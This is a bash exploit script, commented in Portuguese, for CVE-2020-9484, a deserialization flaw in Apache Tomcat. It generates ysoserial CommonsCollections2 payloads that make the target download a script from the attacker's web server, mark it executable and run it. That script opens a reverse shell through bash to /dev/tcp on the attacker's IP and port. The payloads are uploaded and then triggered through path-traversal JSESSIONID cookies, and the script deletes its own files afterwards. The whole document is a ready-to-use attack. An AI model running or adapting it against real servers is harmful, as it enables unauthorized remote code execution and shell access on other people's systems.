#!/bin/bash

if [ $# -ne 4 ]; then
	echo " "
	echo "     CVE-2020-9484 Exploit"
	echo " Apache Tomcat Deserialization"
	echo " "
	echo " Usage:"
	echo " $0 [your IP] [your port] [target IP] [target port]"
	echo " Example:"
	echo " $0 192.168.100.4 1337 192.168.10.119 8080"
	exit 1
fi

# Gera payload 1 (comando que irá baixar o payload no server)
echo " [*] Gerando payload 1..."
java -jar ysoserial-all.jar CommonsCollections2 'curl http://'$1'/payload.sh > /tmp/payload.sh' > downloadPayload.session

# Gera payload 2 (payload que fará a conexão reversa)
echo " [*] Gerando payload 2..."
echo "#\!/bin/bash" > payload.sh;echo 'bash -c "bash -I >& /dev/tcp/'$1'/'$2' 0>&1"' >> payload.sh

# Gera payload 3 (dá permissões ao payload)
echo " [*] Gerando payload 3..."
java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session

# Gera payload 4 (executa o payload)
echo " [*] Gerando payload 4..."
java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session

# Gera wordlist
echo " [*] Gerando wordlist..."
echo "../../../../../../tmp/" > wl.txt
echo "../../../../../tmp/" >> wl.txt
echo "../../../../tmp/" >> wl.txt
echo "../../../tmp/" >> wl.txt
echo "../../tmp/" >> wl.txt
echo "../../../../../../home/" >> wl.txt
echo "../../../../../home/" >> wl.txt
echo "../../../../home/" >> wl.txt
echo "../../../home/" >> wl.txt
echo "../../home/" >> wl.txt
echo "../../../../../../opt/" >> wl.txt
echo "../../../../../opt/" >> wl.txt
echo "../../../../opt/" >> wl.txt
echo "../../../opt/" >> wl.txt
echo "../../opt/" >> wl.txt
echo "../../../../../../opt/samples/" >> wl.txt
echo "../../../../../opt/samples/" >> wl.txt
echo "../../../../opt/samples/" >> wl.txt
echo "../../../opt/samples/" >> wl.txt
echo "../../opt/samples/" >> wl.txt
echo "../../../../../../opt/samples/uploads/" >> wl.txt
echo "../../../../../opt/samples/uploads/" >> wl.txt
echo "../../../../opt/samples/uploads/" >> wl.txt
echo "../../../opt/samples/uploads/" >> wl.txt
echo "../../opt/samples/uploads/" >> wl.txt
echo "../../../../../../usr/local/" >> wl.txt
echo "../../../../../usr/local/" >> wl.txt
echo "../../../../usr/local/" >> wl.txt
echo "../../../usr/local/" >> wl.txt
echo "../../usr/local/" >> wl.txt
echo "../../../../../../usr/local/tomcat/" >> wl.txt
echo "../../../../../usr/local/tomcat/" >> wl.txt
echo "../../../../usr/local/tomcat/" >> wl.txt
echo "../../../usr/local/tomcat/" >> wl.txt
echo "../../usr/local/tomcat/" >> wl.txt

echo " [!] Lembre-se de iniciar o web server neste diretório"
echo " [!] Lembre-se de abrir a porta "$2"/TCP"

# Explora
echo " [*] Explorando..."
for i in $(cat wl.txt);do
	echo '    [+] Cookie:JSESSIONID='$i'downloadPayload'
	curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -F 'image=@downloadPayload.session' -a "Chrome" &>/dev/null;
	sleep 1;
	curl -s 'http://'$3:$4'/index.jsp' -H 'Cookie:JSESSIONID='$i'downloadPayload' -A "Chrome" &>/dev/null;
	sleep 1;
	echo '    [+] Cookie:JSESSIONID='$i'chmodPayload'
	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -F 'image=@chmodPayload.session' -a "Chrome" &>/dev/null;
	sleep 1;
	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'chmodPayload' -A "Chrome" &>/dev/null;
	sleep 1;
	echo '    [+] Cookie:JSESSIONID='$i'executePayload'
	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -F 'image=@executePayload.session' -a "Chrome" &>/dev/null;
	sleep 1;
	curl -s http://$3:$4/index.jsp -H 'Cookie:JSESSIONID='$i'executePayload' -A "Chrome" &>/dev/null;
	sleep 1;
done

# Remove arquivos gerados anteriormente
rm wl.txt payload.sh downloadPayload.session chmodPayload.session executePayload.session &>/dev/null